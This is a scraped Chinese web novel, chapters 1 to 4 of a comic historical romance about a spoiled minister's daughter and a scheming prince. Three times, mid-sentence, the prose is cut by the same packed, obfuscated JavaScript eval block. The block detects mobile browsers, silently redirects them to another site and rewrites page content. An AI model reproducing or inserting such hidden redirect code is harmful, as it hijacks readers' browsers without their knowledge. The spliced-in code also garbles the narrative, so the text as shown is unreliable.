《跪养作精小祖宗》 1. 第 1 章 “媚儿,你到底还要多久才能梳妆打扮好?我们只是去我好友家做客,不用打扮得那么细致,再不出发,席都要散了。” 今日要出门,小妹柳娆一早便开始梳妆,梳到快晌午,柳珣已经等候半个时辰了。 又半盏茶,娇滴滴的,仿佛能勾出丝的声音才从房中飘出来:“三哥,你好凶啊。” 柳珣险些晕过去,语气却不禁软了几分:“我哪里凶了?我只是催你快些出门,怕迟了而已。” 缀着珍珠的绣鞋探出,海棠色的裙摆拂过门槛,腰间的珠串随之漾开,那一双清澈的染着桃花晕的眼眸轻柔柔、如云般投来,娇憨的弯眉一蹙,看得人再高声多说一句,都要自责自己犯下滔天大罪了。 “你就是凶我了。” “好好好,是三哥的不对,三哥给你赔礼道歉。”柳珣连忙赔罪,“现在收拾好了,可以走了吧?马车都在外面等了好久了。” 她扭着腰肢往前走两步,又忽然抬起下颌,抿着亮晶晶的唇笑着转一圈,头上缀着的流苏轻响:“三哥,我今天好看吗?” 柳珣看着她头顶上那夸张的缀满珍珠和花朵的冠,无奈道:“好看好看,快上车吧。” “三哥,你好敷衍。”柳娆眉头一蹙,雪白的小脸一垮,又不满了。 柳珣干笑两声,无奈道:“美,出神入化的美,美得惊天动地,绝无仅有。” 柳娆这才满意,抬起下颌,有些小得意:“我就说嘛,我今天一定会是最美的。” 柳珣无奈笑笑,轻轻推了推她:“你每天都是最美的,好了,快上车吧。” 她骄傲地又扬扬脖颈,拖着长长的裙摆跨上马车,张嘴便指派:“三哥,你将我的裙摆整理好,不要弄脏了。” 柳珣看着拖在车门外的裙摆,叹息一声,不缓不慢将它们全送进马车。他还能怎么办呢?他就只有这一个小妹,过不了多长时日还要出嫁,他不哄着谁哄着? “好了,坐好,马车要走了。”柳珣跨上马车,被那华丽的宽大的裙摆挤在角落里。 柳娆正坐着,眼眸一直不停转动,一会看看自己头上的冠,一会看看自己脚上的鞋,满意得不得了,几乎是马车刚停下,她便迫不及待地探出车门,要展示自己的装扮。 海棠色的裙摆拖进厅中,她伸着脖子,左右张望一眼,好奇道:“咦?人都去哪里了?” “我都跟你说了,今日就是普通的宴会,我与几个同窗好友聊聊诗书什么的,没有什么别的人。” 柳珣跟在她身后,盯着她曳地的裙摆,生怕她摔了,就她那一身装扮,不知有多少斤,摔一跤,站起来都费劲。 柳娆瘪了瘪嘴,满脸郁闷。 柳珣觉得好笑:“好了好了,去坐吧,这里有点心茶水,都是你最喜欢的,一会就有人给你送来。” “哼。”柳娆梗着脖子不动。 “回去的路上三哥带你去街上买那家有名的糕点,听话。”柳珣迫不及待要和好友相聚,随意安抚几句,转头离去。 他的几个好友就在旁边园子里等他,一见他来,立即笑着相迎:“小妹妹呢?没和你一起来吗?” 柳珣笑着落座:“她一来,一会要这样一会要那样,肯定会打搅你们,还是算了,让她在外面自己玩吧。” 好友问:“你家小妹的婚事真和林家说定了,不能改了?若是没说定,也考虑考虑我。” “兄台莫要说笑,别说是有婚约,就是没有婚约,我也不敢将她说给你。我家那个小祖宗是出了名的难伺候,我如今都替她未来夫婿担忧,不知以后要如何闹腾,不信你问他们。”柳珣笑道。 另一个好友应和:“是,他那个小妹妹是有些难缠,你恐怕应付不了,又是有了婚约的,还是莫要再提。” 几人都笑着聊几句,此事就此揭过,无人再提。 前厅里,柳娆已经坐不住了,她还以为今日这里会很热闹,可一个人也没有,无聊极了,她提着裙子便往园子寻去。 人未到,声先至,娇滴滴地,转着调子,带着点儿嗔怪。 “三哥,你变了,你不爱我了,你把我一个人晾在那里,我好伤心,好难过。” 所有人都看来。 柳珣有些无奈,快步走到她身旁,小声哄:“不是有侍女们陪你吗?园子里有花,你去赏赏花,好不好?” 她轻哼几声:“不要,我要人陪我玩。” 有人笑道:“你想谁陪你玩?这里可没有能陪你玩的,我家里刚开了间首饰铺子,你要不要去看看?我让家里的侍女陪你去,你挑一件最喜欢的,算在我账上。” “首饰铺子?还要送我一件?”柳娆眼睛一亮,往前走两步,头上的流苏,腰间的珍珠串子,叮叮当当作响,“你人真好,谢谢你,我现在就去。” “柳兄,可行吗?”那人问。 “好,你去吧,可说好了,不许在外面惹事。”柳珣仔细叮嘱几句,送她出门。 她平常极少出门,不是怕她出事,是怕她在外面惹事,这回去的是好友家的铺子,又有人盯着,柳珣想着不会出什么事,便随她去了,她那么一个活泼的姑娘,天天被关在家里也怪可怜的。 柳娆才没想那么多,高高兴兴出门,高高兴兴下马车。她最喜欢首饰衣裳,家里摆了一堆,穿都穿不过来,祖母和母亲不许她买了,她正伤心着呢,这回出来倒是可以添置一些。 她顶着头上的发冠一从马车出来,便吸引了无数目光,裙摆一曳地更是万众瞩目。 封肆恰好路过,还以为京城的大街上长出了一棵花树,定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058186|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛一看,才发觉那是个人。 他皱着眉,惊奇问:“如今在京城戏子都能有这样大的排场了?” 随行的陪同答:“那似乎不是什么戏子,是柳家的千金。” “柳家?哪个柳家?” “礼部尚书柳家。” “哦,那个柳家啊。” “说起来这个柳尚书爱惜羽毛得很,当初夺嫡那样激烈,也不见他站队,不过,听闻柳家和御史林家有婚约,眼前这个柳家的千金说给林御史家的长孙了。” 封肆当即冷哼一声:“原来是林家。” 林御史那个老迂腐崇尚立长立嫡,当初大力支持废太子,因此给他使了不少绊子,也就是他皇兄刚登基,不好大肆处理,才让这老迂腐暂且躲过一劫,他正愁没法子恶心他们。 他手一抬:“走,去会会那棵桃树精。” 桃树精柳娆正在对着铜镜比划项圈,一只玉衡项圈,一串金珠璎珞,纠结半晌,挑不出来,蹙着眉头朝侍女问:“纤云,你瞧瞧,我戴哪个更好看?” “那串金珠璎珞更好看。”一道陌生的男声从身后传来。 她细密柔软的眼睫动了动,回眸看去,对上男人的视线,歪着头道:“好巧,我的侍女也叫纤云。” 封肆眼眸微动,这棵桃树精跟他想象中的不大一样,是一个挺可爱的小姑娘。他走近几步,斜倚在柜台上,石青色长袖随意垂落:“在挑首饰?” “对呀。”柳娆弯眉一扬,毫不客气又拿出两只镯子,毫不客气让他挑选,“你觉得是这只玉镯子好看,还是这只金镯子好看?” “玉的,不过,宝物配美人。”封肆朝掌柜看去,“将这位姑娘看上的全包了。” 掌柜立即道:“总共是五百贯。” 封肆摘下腰间玉佩,往柜台上一搁:“去宁王府取。” “你……”柳娆眼睛都惊圆了,天呐,她一个月的月钱也不过二两银子,这个人竟然一下就能拿出五百贯!她一动不动地看着他,亮晶晶的唇瓣动了又动,很快想出缘由,“你对我一见钟情啦?不过,对我一见钟情也是人之常情啦。” 封肆一脸莫名,还没来得及说话,就看见她干脆利落地将打包好的首饰收好,毫不客套道:“谢谢你的心意,我收下了。” “你就这么谢我?”封肆稍稍醒神,剑眉微挑。 “那要如何谢?”柳娆眨眨眼,“我祖母跟我娘说了,喜欢一个人送给她礼物,不需要她感激,自己就会高兴,所以应该是你感谢我才对。” 封肆的脑子停摆片刻,迅速转起来,又道:“去我府上坐坐?我府邸离这里不远,就在前面,府中还有不少漂亮的首饰,都可以送给你。” 柳娆琉璃一般的眼眸转动一圈,露出闪亮狡黠的光:“好啊。” 2. 第 2 章 侍女纤云吓得慌忙小声劝:“小姐,三少爷叮嘱了,叫您在这里逛完就回去的。” 封肆瞥侍女一眼,抬步便往外走:“你怕什么?回去跟你们家公子说,你们小姐跟宁王走了,让他们明日去宁王府上接人。” 柳娆疑惑:“诶?你不叫纤云啊?” 封肆弄不懂她这奇怪的想法,只道:“走吧。” 她提着裙子缓步跟上:“你叫什么?宁王?好奇怪的名字。” 封肆勾唇,朝马车旁去:“你没听说过宁王?” 柳娆正要回答,眼眸一转,瞧见那辆马车,一下惊住。 那是一辆两匹马齐驱的马车,比他们家的马车要大两倍,通体黑色,没有什么装饰,可一眼看去,莫名地散发着贵气。 她忍不住惊叹:“你家的马车好大呀,我要是坐这么大的马车,裙摆就不用担心放不下了。” 封肆抬了抬眉,正要开口,柳娆已经扶着马车要往车厢里钻了,还回头看一眼:“你扶我上车呀。” 封肆皱着眉上前,将她扶进马车,又皱着眉将她的裙摆整理好,在她对面落座。 她正仰着头左顾右盼:“这辆马车真的好大呀,坐在里面一点不挤,还很平稳,要是我也能有这么大的一辆马车就好了。” 封肆懒散靠在车厢上,斜眸看去:“做我的女人,以后我的马车随便你坐。” 柳娆头一转,朝他看去,眨眨眼:“什么叫做你的女人?” 封肆以为这样露骨的话,不会有人听不明白,但他望向那双懵懂的简单的眼眸,一下噎住。 柳娆一副恍然大悟的模样:“噢,我知道了,你想娶我?可是我已经有婚约了,我祖母和我娘说过,婚姻大事,父母之命媒妁之言,这事你跟我说不管用的。” 封肆的脑子又停摆了,他什么时候说要娶她了?他只是要挑拨林家和柳家的关系罢了,他重复确认一遍:“你是柳家的小姐是吧?” “对呀,你认识我?对了,你还没跟我说你叫什么呢,你真的叫什么宁王呀?” “宁是我的封号。” 柳娆眼眸飞速闪动几下,眉眼弯弯,笑得恬然:“你是王爷呀?我还以为你叫宁王呢,我真笨。” 封肆看着她,嘴张了又张,没说出话来,他没见过这么笨的,都有点不忍心骗她了。 她一点没察觉,已然将他当做好朋友,笑眯眯看着他:“我们什么时候能到?你还要送我什么?你为什么喜欢我呀?是不是因为我长得很漂亮?” 封肆差点被这一连串的问题砸晕,他顿了半晌,钝钝道:“很快就到,就在前面。” “你反应好慢呀。”柳娆抱怨一句,“其它的问题你还没有回答我呢。” “我……”他根本记不起来那一长串问题到底还问了什么。 柳娆伸手在他眼前晃晃:“你怎么呆呆的呀。” 他看搪塞不过去,深吸一口气,问:“你方才说什么?我没太听清,你再说一遍。” 柳娆耐着性子重复:“我说,你为什么喜欢我?是不是因为我长得漂亮?” 封肆不知道自己到底哪句话说了喜欢她,但此刻已经要被她绕晕了:“是吧?” “是就是是,不是就是不是,你吞吞吐吐做什么?你还害羞啊?我都不害羞,有人喜欢我,我还挺高兴的。那你再说说,你除了喜欢我漂亮,还喜欢我什么?” 封肆有些头疼,马车一停,他如释重负,立即大步跨下马车:“到了到了,快下车吧。” “好吧。”柳娆钻出车门,重重的发冠往前一压,她哎呀一声,朝前摔去,一下砸在封肆身上。 封肆被砸得闷哼一声,他没想到看着这么一个娇娇弱弱的小姑娘能这么重,他往后堪堪退了好几步,才将将站稳,将人扶住。 柳娆扶着发冠站稳,蹙着眉看去:“你刚刚为什么不扶我下马车?你要是扶我,我就不会摔倒了。” 封肆简直闻所未闻,见所未见:“我……” “好啦,这次我就原谅你了。”柳娆扶着发冠,又摆弄摆弄珍珠腰链,“不乱吧?” “不乱。”封肆转头就走。 “你好敷衍。”柳娆跟上,顾不得看左右的花园亭台,不满埋怨,“你不关心我,根本就不是真心喜欢我。” “我真的是真心……”封肆话说一半,后知后觉,他为什么要跟她解释这个?他又不是真的喜欢她。他继续往前走,“你不是要礼物吗?走吧,我送你。” 柳娆努努嘴,小声嘀咕一句:“这才差不多嘛。” 封肆当做没听见,大步跨进堂中,朝人招招手,侍女们随之呈上珠宝。 宁王府上没有女眷,也没有女人的首饰,但珠串、玉佩这些还是少不了的,侍女们站成一排,手中的托盘锦盒里摆放着各式各样的珠宝。 柳娆缓步上前,拿起盘中的红宝石,对着窗棂透进来的光细细品鉴:“好清透的宝石,要是做成璎珞一定好看极了。” “怎么?喜欢吗?” “喜欢,谢谢你,我收下了。” 封肆走近,戴着白玉扳指的手,轻轻将她的手抓住,缓缓展平在手心中:“那你今夜留下吧。” 她茫然眨眼:“啊?” 封肆抬抬手,示意侍女退出,缓缓低头,薄唇轻轻落在她的唇上。 像玉一般,冰冰凉凉,但比玉软,很软,带着点点果子的香气,他的眼未合上,直直对上那双清澈的怔愣的眼眸,忽然觉得自己在犯罪。 他猛地回神,松开那只手,后退几步。 “你……”柳娆的眼眸眨动几下,踮着脚,飞速在他嘴角上亲了下,白嫩的脸颊肉眼可见地红起来。 轮到封肆怔住。 柳娆抿住弯起的唇,羞涩垂眸:“你要是喜欢我,就去跟我祖母母亲说吧。” “呃……” “怎么了?你不会不敢吧?”柳娆不可置信地看着他,“你胆子不会这么小吧?” “不是,不、不是……”他感觉自己的脑子被毛线缠住了,好久才理清一些,“你不是有婚约吗?” “对啊,所以才要你去跟我祖母母亲说,取消婚约,迎娶我啊。” 封肆一头雾水:“我什么时候说要娶你了?” 柳娆的小脸一下皱起来,眉毛眼睛嘴巴全皱着,尤其是那双琉璃般的眼眸,此刻皱起来,里面闪亮闪亮的光芒,像是泪光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058187|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可怜极了:“你不娶我,为什么要亲我?” “我……”封肆莫名地觉得自己犯下了滔天大罪,是个不可饶恕的负心汉。 “你去不去说呀?”柳娆抓住他的衣袖晃晃。 “我……去?”他茫然问。 柳娆蹙着的弯眉又舒展开来,翘着嘴角,飘飘然道:“那你什么时候去呀?” “什么,时候?”封肆的脑子又被缠住了。 “要不你明天就去说吧,昨天我大哥还跟我说,我的婚约就要近了,你再不去跟我祖母母亲说,可就来不及了,你舍得我嫁给别人吗?” “呃……” 柳娆又晃晃他:“你去不去?你说话呀。” 他稀里糊涂点头:“去,去。” 柳娆笑着握住他的手,就像方才他握住自己的那样,仰着头,闪亮闪亮的眼眸含笑看他:“那是不是我们成亲了,我就可以坐你的大马车,住你的大院子,戴你的这些金银珠宝?” “嗯?”封肆忽然觉得不对。 “太好啦!”柳娆又在他嘴角亲一口,狡黠的眼眸不停转动,“那你明天就去提亲,后天我们就成亲,现在我们先去看看我们的房子吧。” 他被拉着往前走,像是在参观别人家。 “这个是会客厅吗?那你平常住哪里呢?后面吗?唔,这个院子好大啊,比我从前的院子大多了,我一直想在院子里放一架秋千,可惜院子太小放不下,现在能放下了。我还要在这里弄个花房,我喜欢蝴蝶兰,我要种……” “停停停。”封肆打断。 “怎么?你不喜欢蝴蝶兰啊?可是我很喜欢的,你不觉得蝴蝶兰很美吗?” “我们的亲事还没……”他晃晃脑子,将里面的水晃走,“不不,我是说,我什么时候说要娶你了?我们什么时候要成亲了?” 柳娆一愣,那张小脸又皱起来,握住他晃来晃去:“你刚刚还说要娶我的,你怎么能说话不算话?你欺负我。” 他很想生气的,也很想拒绝的,但看着那张蜜糖似的眼眸,听着那娇滴滴的声音,实在是生不起气来,也实在无法拒绝。 柳娆还看着他:“你说话呀,你为什么总是这样?明明是你先说喜欢我的呀?你怎么变心变得这么快?” “我是说,成亲这事不是一日两日能成的,你看我们才认识这么一会,就说成亲的事,你不觉得很草率吗?” 封肆觉得自己大概是疯了,这是该从他嘴里说出来的话吗?他原本的计划就是将这棵小桃树精带回来,然后发生些什么,以此挑拨林家和柳家的关系,但他现在怎么变成一个正人君子了?他难道是什么好人吗? “可是我们才认识这么一会儿,你已经亲我了呀。” “呃……”封肆看着那双期待的眼眸,为难道,“就算是我明天就去你家里提亲,我们后天也成不了亲,成亲是很麻烦的事,不是一天两天就能完成的。” “是这样啊,那你就明天先去提亲,剩下的一天天来嘛。”柳娆拉着他又开始在他的院子比划,“你看,这里咱们就可以种一些灌木,这个门上我要挂上珍珠门帘,你家里应该有很多珍珠吧?宁……噢,对了,你叫什么来着?” 3. 第 3 章 封肆眼前一黑:“你都不知道我叫什么,你就要嫁给我?你这样出去迟早被骗。” “我只是不知道你叫什么名字,但是我知道你是谁呀,你不是王爷吗?你有好大的马车,好大的房子,还有好多好多珠宝。” 封肆现在觉得自己被诈骗了。 “我叫柳娆,小名叫媚儿,我祖母我娘哥哥他们都叫我媚儿,你也可以叫我媚儿,你叫什么?有没有什么小名?” 封肆无奈:“封肆,没小名。” “封……肆。”柳娆喃喃一声,点头道,“唔,那我叫你小四吧。” 封肆眼前一黑,一把抓起她的手腕,低斥:“你知不知道我是谁!” “你……不是封肆吗?”她轻轻挣脱手腕,抬起指尖,轻轻抚平他的眉心,“小四,你别这副表情,都不好看了。” 封肆真的力竭了,那些狠厉的名声对别人有用,对这棵小桃树精是半点用都没有,她连宁王封肆是谁都不知道,跟她计较简直就是白痴行为。 “行了,你走吧。”封肆摆了摆手,往椅上一坐,捏捏眉心。 “我还没吃饭呢。”柳娆在他身旁坐下,撑着扶手,前倾看他,“我想吃醉仙楼的醉蟹。你知道醉仙楼吗?京城里最大的酒楼,你让人给我们买一些回来吧?” 封肆斜眸看去:“我不想吃。” “可是我想吃。”柳娆眼巴巴看着,“我祖母我娘他们都不让我吃,他们说蟹吃多了不好,可我好想吃。” “那我为什么要给你吃呢?”封肆腿一翘,故意问。 “因为我是你的妻子啊,一顿醉蟹就能让你可爱的妻子高兴一整天,这不是很值得吗?” 小姑娘眼睛眨巴眨巴,像蜜蜂的翅膀,眼睛里不停酿出蜜,要将人甜死。 封肆抵抗不住,朗然一笑,朝外吩咐:“来人,去醉仙楼买些吃食回来,醉蟹多买两份。” “小四,你真好。”柳娆笑眯眯在他脸上亲一口,“我们赶快成亲吧。” 他缩着脖子稍退:“我一向都是这么慷慨。” 柳娆捉住他的耳朵,在他脸上啵啵啵亲了好几口:“那你还有没有什么要送我的?” “嗯?”封肆睁眼。 “我还想要漂亮裙子,你身上这个布料就很好看,就是颜色我不太喜欢,我喜欢粉红色的,你送我粉红色的吧。”柳娆双手捧着脸,一脸期待地看着。 封肆捏捏她的小肥脸:“你这个小姑娘,真是张嘴就来啊。” “你不愿意嘛?” “府上没有女人用的布料,下回有了我送你。” “这还差不多,我原谅你了。” 封肆一脸疑惑,原谅他? “啵!”柳娆在他脸上又重重亲一口,“我们的醉蟹什么时候回来?是不是还要好久?你先陪我串璎珞吧。” “快了,你自己待一会。” 柳娆抓住他的手:“你去哪里?” “你……”他转头看来,推开她的手,“你祖母和你娘没有教过你,男女授受不亲吗?我们还没有成亲,还是保持距离为好。” 柳娆站起身,不可思议反问:“是你先摸我的手,先亲我的嘴的,你娘没教过你男女授受不亲吗?” “我……好好好,我不跟你吵,你自己在这里玩,一会醉蟹就回来了,吃完饭,你就赶紧回家,你再不回去,你家里人该着急了,我还有事要忙,你自己玩吧。” “不要,你在这里陪我。”柳娆双手拉住他的手,“你们这些人,怎么每天都有那么多事要忙?你这么喜欢我,陪陪我不行吗?” “我这么喜欢你?”封肆实在是无奈了,“是是,我喜欢你,喜欢你。” “那你陪我。” “我陪你能做什么?让侍女们陪你玩。” “串璎珞啊。”柳娆硬生生拉着他坐下。 他正发愁怎么走脱,转头瞧见拎着食盒回来的侍女,连忙道:“醉蟹回来了,快吃饭,吃饭。” “唔,好吧,那先吃饭吧。”柳娆欢快起身,提着繁重的裙子高兴朝桌边走,嘴里又蹦出一句,“你给我剥螃蟹。” 封肆脚下一顿:“不是有侍女吗?我府上的侍女都会剥螃蟹,让她们给你剥,保证干干净净。” 柳娆已自顾自坐下,抬着眼朝他看来:“可是我就想让你给我剥嘛,我在家吃螃蟹,都是我祖母和我娘给我剥的,我不让她们剥,她们还不高兴呢。” 封肆可以预见,自己和她理论一顿后仍然给她剥蟹的场面,那还不如不理论,直接剥得了,等吃完饭,就赶紧将这个磨人精送走。 柳娆看他拿起工具,满意点头,拿起筷子毫不客气动筷:“都过午时了吧?怪不得这么饿。” 封肆看她一眼,再看自己手里的螃蟹一眼,很想像她这样没皮没脸的活一次。 “好了。”他迅速将螃蟹处理好,放入空碟子里,将手放进侍女端来的水盆中,拿着胰子清洗干净,端起茶水浅呷一口,正要拿起玉箸。 “夫君,你吃这个。” “咳咳!”封肆当即被水呛到。 柳娆歪着头看去:“你怎么了?怎么喝水都能把自己呛着?你好呆。” 封肆好半晌才缓过来,哑声道:“别乱叫。” 柳娆往嘴里送一口蟹肉,茫然道:“我没叫啊。” 封肆险些一口气没喘上来:“我是说,你别乱喊人,你祖母和你娘知道你在外面这么随便吗?你父亲好歹也是礼部尚书,你也不能如此、如此……” 他莫名觉得不知廉耻这个词对于眼前这个小姑娘来说,有些太重了,半晌没找出一个合适的词来。 “如此什么?”柳娆大口咀嚼着蟹肉,咽下一口,迫不及待又塞一口,含糊不清道,“我没乱喊人,你不是明天就要去我家提亲吗?对了,你刚刚是不是说要我晚上在这里住?那刚好,明日一早,咱们一起去我家提亲。” “行了行了,此事稍后再议,赶紧吃你的,吃完我让人送你回去。” “你不是说让我在这里过夜的吗?你怎么老是记不得自己说过的话?你是不是脑子不太好?” “行行,是我脑子不好,不论如何,你吃完饭就赶紧回去,你消失这么久,你家里人肯定会着急。” “你不是让人去跟我家里人说了吗?” 封肆捏开她的嘴,舀一勺蟹肉,塞进她口中:“快吃,冷了就不好吃了。” 她脸颊被塞得圆鼓鼓的,明亮的眼眸闪闪:“可是醉蟹本来就是冷的啊?” “我是说别的菜。” “好吧。” 封肆不敢再跟她说话,也不敢再跟她对视,低垂着眼眸,生怕又被她缠上。 许久,对面没说话声,只有食物咀嚼的声音,又许久,咀嚼的声音也停了,他正好奇小姑娘在做什么,一偏头,刚好对上一双杏子般大小的眼,吓得他一抖。 柳娆忍不住欢笑:“小四,你胆子好小呀。” 封肆有些没面子,但听那娇滴滴的笑,也生不起气来:“赶紧,我让人送你回去。” “我不回去,我还没玩够呢,回去就没人陪我玩了,你陪我玩嘛。”柳娆双手抓住他的手,来回晃荡,“你陪我嘛。” “你别往我身上扑了啊,没有你这样的小姑娘的啊。”封肆吓得慌忙往后躲,早已忘记自己究竟为什么要将这个磨人精带回府上。 “我站不稳啦!”她气得一跺脚,踩到自己的裙摆,往前一摔,不偏不倚砸在他身上,咚得一声。 那发冠足有几斤重,差点给封肆砸出内伤来,若不是他常年习武,早就一个屁股墩儿摔去地上了,跟前的人却先抱怨上了:“哎呀,好重啊。” 封肆觉得好笑:“我以为你不怕重呢,赶紧起来,我要是被你砸出个好歹,可是要找你麻烦的。” “我起不来。”柳娆抬起脸,下巴就搁在他胸膛上,“我好晕。” 封肆看着她那红扑扑的脸,终于知道柳家的人为何不肯给她吃醉蟹了。他双手握住她的肩,将她扶起:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058188|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不会喝酒,吃什么醉蟹?站好,我让人送你回去。” 她原本就晕,脚下站不稳,摇来晃去一会更是眼睛都睁不开,连连又要往前摔去。 “停停!”封肆紧紧握住她的肩。 她身子不晃,脖子撑不住脑袋,又晃起来,哼哼着埋怨:“头冠好重,想卸了……” 封肆生怕她又摔来砸自己,赶忙喊人:“来人来人!快给她把头冠卸了,项圈和腰链也都卸了。” 侍女们鱼贯而入,拆头饰的拆头饰,拆颈饰的拆颈饰,没一会儿,那些繁琐的饰品被拆去,封肆立即感觉轻松不少。 他不禁感慨一句:“这才和我看到的体重差不多。” 话音刚落,柳娆又倒进他怀里。 他真是有点怕了,仰着脖子拍拍她的背:“起来,我送你回去” “我不回去。”柳娆抱住他的腰,“你说让我留下过夜的,我晚上还想吃东城的酥鹅。” “你吃个屁,你在这里过夜也没得吃,赶紧回去。”他单手扣住她的腰,将她抱起,抬步就往外走。 “不,我要吃酥鹅,我就要吃酥鹅,你不给我买酥鹅,还赶我走,你根本就不喜欢我!”柳娆挣扎无果,又哼哼唧唧哭起来,“你不爱我,你一点都不爱我,我伤心了,生气了。” 封肆被吵得耳朵疼,将她放下,定睛看去,好笑道:“哟,只打雷不下雨啊。” 柳娆娇哼一声,往他怀里钻:“你凶我,你怎么可以凶我呢。” 他拎着她的衣领,将她提溜起来,指着她道:“不许哼哼唧唧,不许装哭,我立即送你回……” 柳娆突然凑近,亲在他的嘴上。 “你……”他一下顿住,“你别以为这样,我就能让你无理取闹。” 柳娆又亲他一口,抬眸看着他。 “你……” “啵啵啵啵!”柳娆咧着嘴看他。 他忍了又忍,忍不住扬起唇,将她放下:“你到底想怎么样?” “我要你陪我。”柳娆又抱住他的腰,推着他后退。 这些年他随兄长夺嫡,所有阴毒狠厉的事都是由他经手,狠毒的名声在外,旁人避之不及,虽零星有几个投怀送抱的,但也不敢像眼前的这个小姑娘一样。 他后退,被推着坐在榻上,被人抱了个满怀。 柳娆毫不客气往他怀里一躺:“你说你明天去我家提亲,你现在都还没准备呢。” 那发顶上淡淡的茉莉香不停地往他鼻尖里钻,春日的暖阳铺落,舒服得让他几乎起不来:“准备什么?” “准备聘礼啊。”柳娆晃晃他,娇嗔道,“你快叫人去准备嘛。” 他大概是被那香甜的茉莉香味给熏醉了,朝外面喊一声:“来人,去准备聘礼。” 柳娆心满意足,将他的手放在自己背后,双手枕在他的胸膛上,懒洋洋打了个哈欠:“好困,你哄我睡觉。” 他一下下轻轻拍打着她的后背,午后,轻浅绵长的呼吸声缓缓传来。 管事往里探一眼,轻步进门,附耳悄声道:“王爷,柳家的人来了,在外面闹了许久了。” 封肆瞬间清醒:“你怎么不早说?” 早说他就能早些将这个磨人精送走了。 “呃……您回府时吩咐过,任何人来都不许通传的……” 封肆眼眸微动,将怀中酣睡的人打横抱起,抬步便往外走:“行了,让人将她那些东西拿上。” 他没见过这么不害臊的小姑娘,正准备好好说说柳家的人,让他们往后好好管教管教,不想,刚一出门,一群人指着他就骂。 “你不要以为你是王爷就可以强抢民女,为所欲为!我柳家是不会放过你的!” 封肆气得够呛,平时做恶人被人骂就算了,这回好不容易当回正人君子还被骂。他气得将人往柳家人怀里一扔,转头就走。 管事疾步跟上:“王爷,那明日还去不去柳家提亲?” “你有病还是我有病?去个屁,不去!” 4. 第 4 章 “你强抢民女,罪孽滔天,我柳家不会放过你的!”柳珣指着他的背影骂。 二哥柳瑜急忙拉着他上马车:“别喊了,先上马车再说,此事传出去对小妹也不好。” 柳珣咬着牙骂:“他做的恶事,凭什么要算在媚儿头上?就算是传出去,天底下的人也应该骂他才对。” 柳瑜按着他坐下,低声道:“理是这个理,可我们哪里管得住旁人说什么?还是先将小妹带回去,看看小妹情形如何,若是不好,明日我与父亲大哥一同上奏弹劾宁王。” 柳珣焦急万分:“可明日再……” 大哥柳琮沉声打断:“你此时说这些还有何用?若不是你失责,媚儿也不会被宁王带走。夺嫡之时,父亲没有站队,圣上恐怕早就有所不满,宁王今日的行为是可以预见的,若是你能看好媚儿,何至于此?” 柳珣低垂着头,自责不语。 “现下怪来怪去也没用了,大哥快看看小妹身上有没有伤。”柳瑜望向熟睡的人。 柳琮抱着柳娆,沉声答:“表面上的伤倒是没瞧见,里面有没有伤还要回去让母亲她们来看,媚儿被灌了酒,满嘴酒味,你们心里最好提前有准备。” 柳瑜和柳珣皆是一怔,相视一眼,接连凑去过轻嗅。柳瑜皱着眉头道:“真有酒味,只是不浓。” 柳珣又着急起来:“媚儿不胜酒力,平时吃只醉蟹都能醉倒的。” 柳琮眉头紧皱,沉声朝外吩咐:“快些回府。” 马车匆匆前行,不到半炷香功夫,抵达柳府大门,从角门进入,直往内院里去。 跨下马车,三人径直朝母亲陈夫人的院中去,柳琮上前解释两句,叮嘱一声:“祖母年龄大了,母亲还是先不要告诉祖母。” 老太太刚好从外进来:“又有什么事要瞒着我?你们又背着我做了什么好事?” 陈夫人原本就伤心欲绝,看到老太太瞬间泪崩,哭着奔去:“母亲,媚儿今日跟着老三出门,闹着一个人上街去逛,不巧被宁王碰见,带进府中,浑身的酒味,快两个时辰才衣衫不整地出来……” “什么?”老太太险些没站稳,着急忙慌喊,“人呢?我媚儿人呢?你们还想瞒着我,快带我去看看啊!” 柳家三兄弟没办法,相视一眼,自觉站在门外等候:“在房里。” 没过多久,老太太老泪纵横从里出来,指着他们三个便骂:“你们几个是怎么做哥哥的?一再跟你们叮嘱了,媚儿她还小还小,叫你们带她出门一定要多注意,你们是怎么做的?柳珣!” 柳珣不敢顶嘴,噗通一声跪下。 老太太拿着拐杖便要来,柳琮上前两步,不动声色拦住:“祖母,媚儿她怎么样了?她有没有……” “你说有没有?”老太太拿着拐杖又朝柳琮去,“她满身酒气,衣衫不整从宁王府出来,你说会发生些什么?你一个已成了亲的男人,会想不明白发生了什么?” 柳琮低垂着眼:“祖母,我不是这个意思,我……” “混账!”老太太一拐杖打在他身上,又一拐杖打在柳瑜身上,“混账!” 柳珣立即挪跪上前几步:“祖母,都是我的错,祖母不要打大哥二哥,打我就是。” 